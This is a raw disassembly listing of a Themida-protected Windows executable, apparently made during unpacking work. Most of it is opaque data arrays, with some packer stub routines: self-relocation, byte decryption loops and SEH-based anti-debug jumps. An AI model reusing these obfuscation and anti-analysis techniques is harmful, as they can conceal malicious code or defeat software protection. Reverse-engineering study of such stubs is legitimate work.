dup(0) dd 49E94410h, 3 dup(0) dd 9ED554h, 6 dup(0) dd 6564A7Ah, 4 dup(0) a7gC db '7gй√',0 align 4 dd offset byte_599649 dd 80000219h, 0 dd 7B3Ah, 67h, 0 dd 90EB8FFEh, 2 dup(0) dd 12FFA4h, 7C6C8D8Dh, 9FA00Fh, 77F50000h, 4 dup(0) dd 5B4410A2h, 3 dup(0) dd 0FFFF5B5Dh, 77E82168h, 4 dup(0) dd 0ACh, 3 dup(0) dd offset word_590782 align 10h dd offset byte_57C2E3 align 10h dd 7C7C01F5h, 199h, 4 dup(0) dd 8001FCFCh, 7C6C8D8Dh, 0Fh dup(0) dd offset byte_584375 dd 0 aK_0 db '┼╬;[',0 align 4 dd 2 dup(0) dd 7D1h, 3 dup(0) dd 5B05h, 3 dup(0) dd offset byte_5A81BD dd 0Ch dup(0) dd 0A17FD8h, 0FFFF9A08h, 3 dup(0) dd 6, 0 dd 0FFFFFFFCh, 3 dup(0) dd 0A03268h, 0 dd 0A28h, 3 dup(0) dd 0ACh, 8 dup(0) dd 7B3Ah, 3 dup(0) dd 7FFE0304h, 199h, 7E2387DFh, 16h dup(0) dd 0BAFC6BC6h, 2 dup(0) dd 0FEC647FEh, 7813F793h, 0 dd offset dword_4DE000 dd 2 dup(0) dd 77DD23D7h, 1, 5 dup(0) aAd db '─D/#',0 align 4 dd 2 dup(0) dd 0FFA80C27h, 9 dup(0) aVcw db 'мvГw',0 align 4 dd offset dword_580000 dd 0A03268h, 0 dd offset byte_584375 dd 15F0994h, 0 dd 21212121h, 590C3Bh, 0Fh dup(0) dd 0A01560h, 3 dup(0) dd 0E0014h, 0A022D8h, 6 dup(0) dd 7FFE0304h, 0 dd 400000h, 4 dup(0) a041 db '04-1',0 align 4 dd 3F11700Eh, 2 dup(0) aHSwVcw db 'h>ХwмvГw',0 align 4 aDbcw db 'D║Гw',0 align 8 a0I_1 db 'ъ0е╘',0 align 10h dd 0 dd offset word_574BFE align 10h dd 2 dup(7FFE0304h), 2 dup(0) dd offset dword_575B94 dd 2 dup(0) dd offset dword_580000 dd 2 dup(0) dd offset byte_595B05 dd 4 dup(0) aCM_unpacker db 'C:\m_unpacker',0 align 4 dd 7Eh dup(0) dd offset dword_575B94 dd 5 dup(0) dd 77E8360Ch, 0 dd 0AE4BF6E3h, 0 dd 38E5014Dh, 77E7AFE7h, 6 dup(0) dd 70564EF2h, 0 dd 2, 3 dup(0) dd 746Ch, 1FCFC331h, 6 dup(0) dd 0FF50290Fh, 88h, 5B4410A2h, 0 dd 130000h, 5781D6h, 5 dup(0) dd offset word_5836EE dd 2 dup(0) dd 0FE000050h, 69h dup(0) dd 17A47DB0h, 3 dup(0) dd 28906E9h, 2 dup(0) dd 0FF4F7916h, 4 dup(0) dd offset word_590E26 dd offset dword_5AEB50 dd 3 dup(0) dd offset dword_580000 dd 6 dup(0) dd 13DE0263h, 1, 27870940h, 0 dd 0FFAC1F90h, 6 dup(0) dd offset dword_52F848+7DBh align 8 dd 581Ch, 25A0000h, 5 dup(0) dd 7B3Ah, 0Bh dup(0) dd 0A03154h, 2 dup(0) dd 1F453038h, 8 dup(0) dd 400E9h, 0 aN_0 db '█╦Ё/',0 align 4 dd 2 dup(0) dd 9F6FA4h, 0 dd 12FFF0h, 7FFE0304h, 6 dup(0) dd 1014h, 0 dd 0C285C2B7h, 77E6D706h, 5A454Bh, 7 dup(0) dd 7FFE0304h, 7 dup(0) dd offset dword_53E070 dd 1434h, 0 dd 0E057CBF0h, 7 dup(0) dd 1014h, 77DD0000h, 0 a@V db '@',1Bh,'╢v',0 align 4 dd 2 dup(0) dd 9F69DDh, 4 dup(0) dd 9F69DDh, 3 dup(0) dd 7C6C8D8Dh, 1, 0 dd offset dword_5AF940 dd 0 dd 7FFE0304h, 10h dup(0) dd 512006CBh, 6 dup(0) dd 12FF54h, 5944D6h, 540122h, 8 dup(0) aU_0 db 0Dh,'╧Н;',0 align 4 dd 0B5493B1Ah, 12FF54h, 0 dd 15E30000h, 0 dd 0A39995h, 1DFC32D7h, 8 dup(0) dd offset word_575BA6 dd 60EBh, 5 dup(0) dd 9F9499h, 40000h, 0Ch dup(0) dd 11111111h, 4DFCh, 0E7E5h, 5ABBA9h, 77E82FE8h, 6 dup(0) dd 7FFE0304h, 9F915Bh, 4 dup(0) dd 0FFFFBAC9h, 0Ah dup(0) dd 0FFED005Ch, 17Ch, 3 dup(0) dd 77E75CB5h, 9FA00Fh, 9F9234h, 4 dup(0) dword_53F3B8 dd 0A01568h, 4Ah, 30DFh, 9 dup(0) ; DATA XREF: Themida_:0053CE6Co dd 881853A2h, 0Dh dup(0) aUfB db 'НД╪B',0 align 4 dd 6 dup(0) dd 0FF4C2882h, 77E7A144h, 535536EBh, 0 dd 7719CFAh, 540122h, 5B3AD6h, 6 dup(0) dd 0E7E5h, 2 dup(0) aRestartapp_exe db 'RestartApp.exe',0 align 10h dd 0Dh dup(0) dd offset byte_5A47EB dd 0A38D53h, 60CD3CBDh, 575B94h, 0 dd 7B3Ah, 0 aSacw db '≥═Гw',0 align 10h unicode 0, <°>,0 dd 0FA4CC7BFh, 0DD000h, 4 dup(0) dd 25B0000h, 0 dd 0FFFED0E0h, 3 dup(0) dd offset byte_5834BB align 10h dd offset dword_575B94 align 10h dd 0FFFF87C1h, 2Ch dup(0) dd offset dword_53F634 dd 0 a333333333333 db '333333333333',0 align 4 dd 0DC8CEC13h, 710451BDh, 2 dup(0) dd 0E6Ch, 5 dup(0) dword_53F634 dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h, 815B0000h ; DATA XREF: Themida_:0053E5FCo ; Themida_:0053F5F4o dd 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF009FA0h dd 24448BE0h, 0E0FF04h, 14h dup(0) dd offset word_59716A dd 4 dup(0) dd 8001FCFCh, 0 dd offset aLRS ; "▀эr:И" dd 6 dup(0) dd 0A01564h, 8 dup(0) dd 1DF775CAh, 19h, 3 dup(0) dd 21FFFB0h, 0Ah dup(0) dd 77F52E0Fh, 3B402h, 12h dup(0) dd 7FFE0004h, 86555974h, 0 dd 6FC0A305h, 0 dd offset aLRS ; "▀эr:И" dd 12FFA4h, 0Fh dup(0) dd offset byte_5AADC9 dd 5 dup(0) dd 0FFFC0608h, 5A29F2h, 0 dd 0DDB84005h, 2 dup(0) aR_0 db '╩©r~',0 align 4 dd 29h dup(0) dd offset byte_578D8B dd 4 dup(0) aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0 align 10h dd 39h dup(0) dd 7FFE0304h, 4 dup(0) dd 667F6926h, 77E793EFh, 0Dh dup(0) dd 784BF1C4h, 3 dup(0) dd 5B94h, 0Bh dup(0) dd 7B3Ah, 3 dup(0) dd 2, 0 dd 70200E0Bh, 0Eh dup(0) dd 35Bh, 3 dup(0) dd 0FFFFBACBh, 0 dd 30DFh, 8 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53FB14: ; CODE XREF: start:loc_53C7BFj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 607335Fh mov [ebp+607133Dh], edx mov [ebp+60706C1h], esi mov [ebp+6072945h], eax cmp dword ptr [ebp+60710E9h], 0 jz short loc_53FB4C mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53FB4C: ; CODE XREF: start+5FB2Aj mov eax, [esp+40h+var_1C] mov [ebp+6072F95h], eax push 45h call sub_53FC00 push 783749Ah call sub_53FC46 push 0A894B25h call sub_53FC46 jmp loc_53FD8A ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53FC00 proc near ; CODE XREF: start+5FB44p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 607344Dh mov ebx, edx mov [ebp+var_28], 0 loc_53FC1C: ; CODE XREF: sub_53FC00+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53FC3B mov eax, [ebp+arg_0] mov [ebx+60733B7h], eax inc [ebp+arg_0] inc ebx jmp short loc_53FC1C ; --------------------------------------------------------------------------- loc_53FC3B: ; CODE XREF: sub_53FC00+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53FC00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53FC46 proc near ; CODE XREF: start+5FB4Ep start+5FB58p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6073496h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53FC6C: ; CODE XREF: sub_53FC46+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53FC6C mov [ebp+var_84], 0 lea edi, [edx+60733B7h] lea esi, [ebp+var_80] loc_53FC9C: ; CODE XREF: sub_53FC46+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53FCA8: ; CODE XREF: sub_53FC46+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53FCA8 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53FC9C popa leave retn 4 sub_53FC46 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53FCE6 ; --------------------------------------------------------------------------- loc_53FCE2: ; CODE XREF: Themida_:0053FCE9j inc dword ptr [ebp-4] inc esi loc_53FCE6: ; CODE XREF: Themida_:0053FCE0j cmp byte ptr [esi], 0 jnz short loc_53FCE2 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53FD77 ; --------------------------------------------------------------------------- loc_53FCF8: ; CODE XREF: Themida_:0053FD7Aj mov dword ptr [ebp-8], 0 jmp short loc_53FD6E ; --------------------------------------------------------------------------- loc_53FD01: ; CODE XREF: Themida_:0053FD72j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53FD5B ; --------------------------------------------------------------------------- loc_53FD11: ; CODE XREF: Themida_:0053FD5Fj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53FD33 cmp bl, 39h ja short loc_53FD33 sub bl, 30h jmp short loc_53FD55 ; --------------------------------------------------------------------------- loc_53FD33: ; CODE XREF: Themida_:0053FD27j ; Themida_:0053FD2Cj cmp bl, 61h jb short loc_53FD45 cmp bl, 66h ja short loc_53FD45 sub bl, 61h add bl, 0Ah jmp short loc_53FD55 ; --------------------------------------------------------------------------- loc_53FD45: ; CODE XREF: Themida_:0053FD36j ; Themida_:0053FD3Bj cmp bl, 41h jb short loc_53FD55 cmp bl, 46h ja short loc_53FD55 sub bl, 41h add bl, 0Ah loc_53FD55: ; CODE XREF: Themida_:0053FD31j ; Themida_:0053FD43j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53FD5B: ; CODE XREF: Themida_:0053FD0Fj cmp dword ptr [ebp-0Ch], 2 jb short loc_53FD11 cmp dword ptr [ebp-10h], 0 jbe short loc_53FD6B mov eax, [ebp-10h] stosb loc_53FD6B: ; CODE XREF: Themida_:0053FD65j inc dword ptr [ebp-8] loc_53FD6E: ; CODE XREF: Themida_:0053FCFFj cmp dword ptr [ebp-8], 2 jb short loc_53FD01 add edx, 4 loc_53FD77: ; CODE XREF: Themida_:0053FCF6j cmp edx, [ebp-4] jb loc_53FCF8 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53FD8A: ; CODE XREF: start+5FB5Dj mov ecx, 7000h lea edi, [ebp+60735DCh] loc_53FD95: ; CODE XREF: start+5FD85j dec byte ptr [edi] inc edi dec ecx jnz short loc_53FD95 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+60736E0h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov ebx, ecx jl loc_53FDCF cmc loc_53FDCF: ; CODE XREF: start+5FDB4j ja loc_53FDE3 jmp loc_53FDE3 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 8750h dd 40F87EBEh db 0B2h, 0BDh, 0B5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53FDE3: ; CODE XREF: start:loc_53FDCFj ; start+5FDC1j sub eax, edx push 0 push ebx call sub_53FDF0 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53FDF0 proc near ; CODE XREF: start+5FDD4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_53FDF0 endp ; --------------------------------------------------------------------------- dd 0B5EF713h, 8B6CD62Ch, 0F00025DFh, 0BB66FFFFh, 0CA8B3FB7h dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah dd 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h, 0F3958D04h dd 52060736h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h dd 58Fh, 0C4830000h, 51C36104h, 10244C8Bh, 0B0A981h, 10000000h dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 60736FEh dd 36BC858Dh, 81890607h, 0B8h, 0C033595Dh, 8F6496C3h, 5 dd 4C48300h, 33B96660h, 0EF806136h, 0D98C66D3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2FC35545h, 0E9D88B66h dd 9, 8AF41A34h, 0DD3D7CF9h, 4E18052h, 0FC90AF9h, 2F85h dd 0DE900h, 45990000h, 0FDF12EFBh, 189387ABh, 0C72259E6h dd 719BD85h, 106h, 2890F00h, 0B3000000h, 29E9B5h, 0E3810000h dd 5C18E11Eh, 19BD85C7h, 607h, 8E80000h, 17000000h, 0A585F0A4h dd 0F028BB5h, 581h, 0C434BB00h, 895B7EBDh, 7059D85h, 0DEBF0F06h dd 0D998589h, 0AE80607h, 41000000h, 6DBC213Eh, 0F4E52270h dd 6CBE668Fh, 81F85FC1h, 6926C7h, 12E900h, 0E12B0000h dd 0BBCB65DAh, 0D63B535Fh, 868F6331h, 0E1AB8733h, 68h dd 0BDCA8100h, 5B792BCAh, 0C8BC38Bh, 0C38B661Fh, 6A94F181h dd 81F96548h, 0F27F0AF1h, 0F38B663Dh, 5D4AF181h, 0F4BA2338h dd 8926AD0Ah, 0E58A1F0Ch, 83C28B66h, 0E95204EBh, 12h, 8CC93F05h dd 1BAD262Bh, 60C9ABEFh, 1F3D7688h, 815A6D8Dh, 0FF9788FBh dd 10850FFFh, 66000000h, 0C60EE681h, 1CE9h, 6213BF00h dd 66B9A71Dh, 0E9E600BAh, 0FFFFFF96h, 9EEFDF2h, 10C0843Bh dd 0C40807D8h, 6E8D6h, 0CEDD0000h, 91F8E51Eh, 38DB8166h dd 0C7815F1Bh, 5948h, 88E0Fh, 8D0F0000h, 2, 2B686160h dd 81000016h, 0A126B3C6h, 0DB81591Ch, 67B777FFh, 5E837FFh dd 95000000h, 508F5D0Bh, 6BE38166h, 0F585EA3h, 0C081D9B7h dd 1FC7E998h, 0C081D78Bh, 770BD6D7h, 0CD2E18BAh, 99C08137h dd 816653C7h, 0A7E2C6D2h, 0FE85012h, 0C000000h, 6911EB70h dd 0DC9B26F1h, 46AF8FE2h, 5B66C34h, 56078F5Bh, 0DD68166h dd 0EF815B59h, 27684AF5h, 0F1C781F9h, 8B27684Ah, 850F49F0h dd 0FFFFFF94h, 0FAE956B3h, 0FC000006h, 1079B509h, 2170607h dd 113D0000h, 0F600607h, 682h, 820F00h, 0F000000h, 61DEBFh dd 14E900h, 79AB0000h, 307C16C2h, 0AE0522D0h, 0AA4D12CAh dd 3A40300Ch, 606027FCh, 0DEA7B866h, 15ADBF66h, 0B861h dd 7E90000h, 66000000h, 0ED33D49Dh, 548BE15Eh, 89FC2824h dd 7331985h, 71B58906h, 0F806071Bh, 3CBEh, 81666000h, 8B27C6D7h dd 7025585h, 74036106h, 12E92424h, 8000000h, 11E5416Ah dd 3D263B83h, 0A4411B4Fh, 0B556D4EAh, 6840F7Eh, 89000000h dd 719E1BDh, 0F8AD6606h, 24244403h, 13E9h, 7AED3700h, 0B96C9C7Eh dd 2F11D9E5h, 87A8323Bh, 0B91FB86h, 0AE950h, 0E9210000h dd 0C4231FF3h, 625EFC83h, 9240489h, 70D5D85h, 78408B06h dd 12759589h, 44030607h, 8E0F2824h, 6, 72D9D09h, 408B0607h dd 8B666018h, 118D89C8h, 61060718h, 8F0F6040h, 5, 0D1E43ABBh dd 7EB9663Fh, 8589617Fh, 607392Fh, 2FF18D31h, 29580607h dd 712E19Dh, 78708B06h, 1CC683F9h, 10E9h, 2F2D700h, 5FEAB1ECh dd 3D88C08h, 4F245543h, 24740398h, 81666024h, 31BDA0E7h dd 707CDBDh, 0BD8D6106h, 6072BF9h, 303D9D89h, 29AD0607h dd 71DF995h, 24440306h, 7E96024h, 91000000h, 0E860E99Ch dd 890F1E5Dh, 3, 61F08B66h, 6830Fh, 0B5090000h, 6071871h dd 0BE9ABh, 739E0000h, 0B22F5274h, 98926EA2h, 31BD8D01h dd 0FC060710h, 0F58509ADh, 3060718h, 60242444h, 0FE9h dd 6285D00h, 1806B040h, 91D89AE3h, 43298BCAh, 11E950h dd 1B700000h, 2AA8BF40h, 0F37F800Ah, 74061455h, 59740D47h dd 830F9061h, 9, 0CC98BB60h, 1DB32AB9h, 52505061h, 6880Fh dd 8C0F0000h, 0 dd 14E9310Fh, 1E000000h, 22EFAD4h, 58CBA4D0h, 1FA5A7C9h dd 0F8BD87A5h, 5AD4A839h, 9D899058h, 6071165h, 0BD8DFCABh dd 6072289h, 9E9h, 0D4E54200h, 8C7DA2DBh, 0F9AD04BFh, 28244403h dd 0DE9h, 37314200h, 0F710E506h, 23410055h, 0FCAB97C6h dd 0FFF85EF8h, 7392F8Dh, 2FBD8306h, 60739h, 44C71075h dd 1C24h, 0B58D0000h, 6073DAEh, 0AD56E6FFh, 28244403h dd 8ADF8B97h, 709CD85h, 74C08406h, 75073A04h, 0C032574Ch dd 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh dd 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h dd 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h dd 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 1985FF04h dd 0E9060733h, 0FFFFFF6Fh, 0AE95Eh, 0DBD60000h, 57ADA74h dd 8CDD9FB6h, 0CDB58960h, 66060725h, 618DBEB8h, 3319858Bh dd 8C0F0607h, 6, 3B1BD89h, 0E0D10607h, 0A0BB6660h, 3F961A4h dd 7228985h, 85896006h, 6070591h, 0BE61h, 0B5890000h, 6070B85h dd 0B8666096h, 8E8EA97h, 24000000h, 7A88948Dh, 9D466CBh dd 7292D8Dh, 66615F06h, 3DBD89ADh, 0C1060712h, 850902E0h dd 607135Dh, 2BF98503h, 0B5290607h, 60711EDh, 60ADF596h dd 8D23DDB7h, 60718B5h, 0B58B6061h, 6072305h, 139DBD31h dd 8B610607h, 0F924244Ch, 24244403h, 10199589h, 44890607h dd 96F81C24h, 858D8960h, 0E9060705h, 14h, 0FACCD11Bh, 0FA464DF6h dd 94660BC8h, 596C3CABh, 8F9DA378h, 880FAC61h, 6, 29A5BD01h dd 0C9320607h, 1890Fh, 0FEF50000h, 799531C1h, 0D006072Ah dd 0A2830FD0h, 60000000h, 18252BAh, 0D061F944h, 92830FD0h dd 89000000h, 70F0585h, 0C810F06h, 0E9000000h, 7, 3F090A4Dh dd 0D019DAADh, 72820FD0h, 89000000h, 72C99B5h, 0FD0D006h dd 6482h, 6830F00h, 89000000h, 70C35BDh, 0FC9FE06h, 0FFFFA689h dd 0BE860FFh, 0DE000000h, 20980B8Ah, 0CE2A4426h, 9D31012Dh dd 6070A69h, 0DBC28158h, 611BAB93h, 8920C483h, 712F185h dd 2444C706h, 0FCh, 0B1B53100h, 0B8060728h, 1, 1ED1BD31h dd 8D8D0607h, 6076FE4h, 9E1FFF5h, 72AF995h, 0CD85C606h dd 60709h, 2B55BD89h, 0FC610607h, 0F0008C2h, 18Bh, 0E996FC00h dd 0Ch, 1ACAA660h, 5BF13AAh, 1C197339h, 6E950h, 0E2140000h dd 4F2183D7h, 0BD896096h, 60704C1h, 0EE8h, 31093400h, 9E7BB38Ch dd 3236C5Eh, 0F5A4ADCh, 88h, 89615900h, 73FE2B5h, 0B98D0906h dd 8906070Dh, 7400B8Dh, 68F0F06h, 89000000h, 71E7595h dd 96B58D06h, 0E906073Eh, 10h, 9863EC14h, 0DE89B9C8h, 0AD1DE0BBh dd 462F880h, 7E35858Dh, 0DE9005Bh, 0A1000000h, 7A51C3E0h dd 6D5CA6CAh, 903C0F10h, 0CE9h, 0AE749F00h, 0B885454Bh dd 874B80D6h, 0E9D0FFF3h, 0Ah, 40287764h, 564F2202h, 0F95EF24Eh dd 13E9C3h, 78A60000h, 0ABDE39E6h, 0ED44EFEEh, 2F3DC619h dd 0F9A1857h, 0E2B58B26h, 3106073Fh, 71F7985h, 0B8D8B06h dd 0E9060740h, 0Ch, 5C797D11h, 0E9D643AEh, 3F58B12Ah, 8160C02Bh dd 2E4573EFh, 8E96062h, 0D7000000h, 3438351Ah, 0BF0AD42Eh dd 3CB5B2FEh, 0D98B6161h, 0BE960h, 2C9B0000h, 1A782AC6h dd 0AD982E30h, 7E98Dh, 0F6590000h, 9B6F2262h, 0CEE96197h dd 89000000h, 72BF58Dh, 0F263206h, 687h, 1DB50900h, 0B2060711h dd 3DBD8902h, 0F060703h, 683h, 89950900h, 0E906070Ah, 84h dd 2BDE8B60h, 7229195h, 0C2326106h, 6840Fh, 8D890000h dd 6071831h, 1D7A05F8h, 8B608A75h, 5E860F7h, 0FC000000h dd 8D709E15h, 49BD0959h, 61060704h, 6E961h, 0EFB50000h dd 8D15A525h, 820FCC8Ah, 15h, 10E9h, 9A669900h, 0DA073A8Dh dd 7436998Bh, 0E44F20B7h, 60C8D343h, 2309BD2Bh, 81660607h dd 613195CFh, 0D1084235h, 6E998h, 0C36D0000h, 181FE24Ch dd 0B589CAFEh, 60709C9h, 850FD20Ah, 0FFFFFF7Eh, 7BD8589h dd 14B0607h, 72165BDh, 31F54606h, 718CD95h, 0FDB0B06h dd 0FFFF3085h, 60CFF9FFh, 7818523h, 958B0607h, 6070225h dd 60000061h, 6F58D8Bh, 8D010607h, 6070D85h, 0E9000061h dd 12h, 9CD5B88Ah, 0A05CEB0Dh, 88C3C94Ch, 57EA79C3h, 82ADh dd 61605360h, 6820F5Ah, 89000000h, 710B59Dh, 6106h, 63858DF8h dd 0F9060739h, 2C958589h, 0B5890607h, 6070E25h, 3DC7858Dh dd 5E90607h, 90000000h, 0DFDE857Bh, 0FE58589h, 14EB0607h dd 4 dup(0) dd 8Bh, 4110858Dh, 85890607h, 607115Dh, 4059BD83h, 0F000607h dd 11A84h, 0CD85C600h, 56060709h, 0C9FEE968h, 240481BEh dd 15556E50h, 59DB5FFh, 858D0607h, 6073963h, 8589D0FFh dd 607404Dh, 9CD85C6h, 68560607h, 8C132EE6h, 0B4243481h dd 0FF10BB96h, 7059DB5h, 63858D06h, 0FF060739h, 518589D0h dd 6A060740h, 0A0FC6804h, 34817DB9h, 0B9B0FC24h, 5D858B7Dh dd 5060740h, 1F4h, 5002E0C1h, 6A240489h, 5195FF00h, 89060740h dd 7405585h, 0B8D88B06h, 0FFFFFFFFh, 115D95FFh, 0C38B0607h dd 115D95FFh, 84E90607h db 3 dup(0) byte_5408CF db 83h ; DATA XREF: Themida_:0053D91Co dd 74059BDh, 850F0006h, 1, 0BD8B57C3h, 6074055h, 558583ABh dd 4060740h, 0BD83C35Fh, 6074059h, 1850F00h, 0C3000000h dd 55AD8360h, 4060740h, 40559D8Bh, 7B830607h, 850FFFFCh dd 1Dh, 0A0007668h, 24348138h, 38A08076h, 33FF006Ah, 404D95FFh dd 0C3610607h, 1DE9h, 0F9986800h, 34816AF3h, 0F3799824h dd 0FF006A6Ah, 4D95FF33h, 83060740h, 74055ADh, 0B1E90406h dd 48FFFFFFh, 9D3E9h, 6FDF0E00h, 31EB7643h, 0C60DB6C5h dd 685705FAh, 0C426E42Dh, 9592C8BEh, 6FFB5008h, 9A87A6D5h dd 6FF95313h, 3DA97D4Eh, 941AA4CDh, 6F4514A9h, 0AB6DEB68h dd 9F98B8DDh, 63FA4D1Ch, 9887A687h, 6FFA5C15h, 22A9674Eh dd 9405BED0h, 745B08B7h, 0C063FF7Fh, 88D48CBEh, 2EEB4D18h dd 8DC9A7D5h, 6FEC4815h, 23E66157h, 9A05B0D0h, 63h dup(0) dd 6FDF0E00h, 2DE77C4Ah, 941ABED6h, 7C591FAAh, 812EE77Fh dd 0DA8789B8h, 21FA5B1Fh, 8186B587h, 3DBE5914h, 2DE77D52h dd 0DD48B6CCh, 744F4DB4h, 0D263F478h, 9F809BA9h, 42951010h dd 958CBFF7h, 6FB25809h, 2BE57D52h, 0DD48B5C3h, 69504DAEh dd 0CC63EB62h, 889B85B5h, 21FE1E04h, 919BF3C3h, 3DFF4909h dd 2BF03353h, 0C448A3D7h, 695102A8h, 6DEB6Ch, 48h dup(0) dd 6FDF0E00h, 27E86144h, 931AB4C9h, 74424DA9h, 0C963EA62h dd 98D49BB1h, 6FF15B18h, 9A9CBCC1h, 3AEC1D1Eh, 2AE07D49h dd 0DA01F1C5h, 6E5914FAh, 0D830A67Fh, 97919CA3h, 1F923453h dd 8788B6CBh, 3ABE111Fh, 25E67F49h, 0C001F1C6h, 74440BFAh dd 0C42EA660h, 838687BDh, 2BF15F5Dh, 878CA187h, 3BEC5C0Eh dd 31E66A07h, 0C618F1D0h, 7A440AB5h, 0A860h, 61h dup(0) dd 26D80E00h, 27A9764Bh, 0C11AA3CDh, 7F5319AAh, 0F563A82Ch dd 0DA8781B8h, 28F04C0Dh, 0D484B2D5h, 6FED5C12h, 2AEC7645h dd 0DA09BC82h, 77431DB3h, 0C526F26Ch, 9E9A89F0h, 36FE535Dh dd 0F9E3B6C5h, 3CB94913h, 22E77A07h, 0D11CB2C7h, 62544DBEh dd 0F763E72Dh, 89819AB9h, 6FED515Dh, 9788A1C4h, 61FA5811h dd 2DE14707h, 0DD0EF1D1h, 6C1608B6h, 0D564E862h, 889B9FF0h dd 21FE1E16h, 8686BEDEh, 131Fh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2D74E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0C0A7BE8Eh, 0EF8CCD1Dh, 0EB99509h dd 8BFC0607h, 711519Dh, 0AABA6606h, 9C08B40h, 72F2DBDh dd 0CDBD8306h, 6071Ah, 0BD830975h, 6071135h, 50137400h dd 0B8C08B53h, 1, 0AC629D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h dd 50117400h, 1B853h, 9D8D0000h, 609AB13h, 585BD3FFh, 13E8h dd 6D97EB00h, 0FEF0D7E9h, 38716508h, 7B182EB0h, 0B83DF94Dh dd 85CA8166h, 9D8B5B8Fh, 6072F85h, 958BC08Bh, 6071EF9h dd 58DBD83h, 0F000607h, 17384h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D035B9Dh dd 6071131h, 0E79BBB66h, 0D2DBD83h, 0F000607h, 13F84h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0CF4716EFh, 9800F53h, 0F000000h, 389h, 0D38B6600h dd 85896060h, 6070361h, 0CD958956h, 5F060719h, 2D858B61h dd 8106070Dh, 58E52DF2h, 3E80570h, 95890000h, 6070F29h dd 0EE9h, 774B1000h, 0CDF8E159h, 68F324B9h, 502BDAA7h dd 1240489h, 7115185h, 54858D06h, 0E906074Bh, 11h, 0E9F63EBCh dd 0FD2A8D0Ah, 0CA4B8516h, 84546A8Dh, 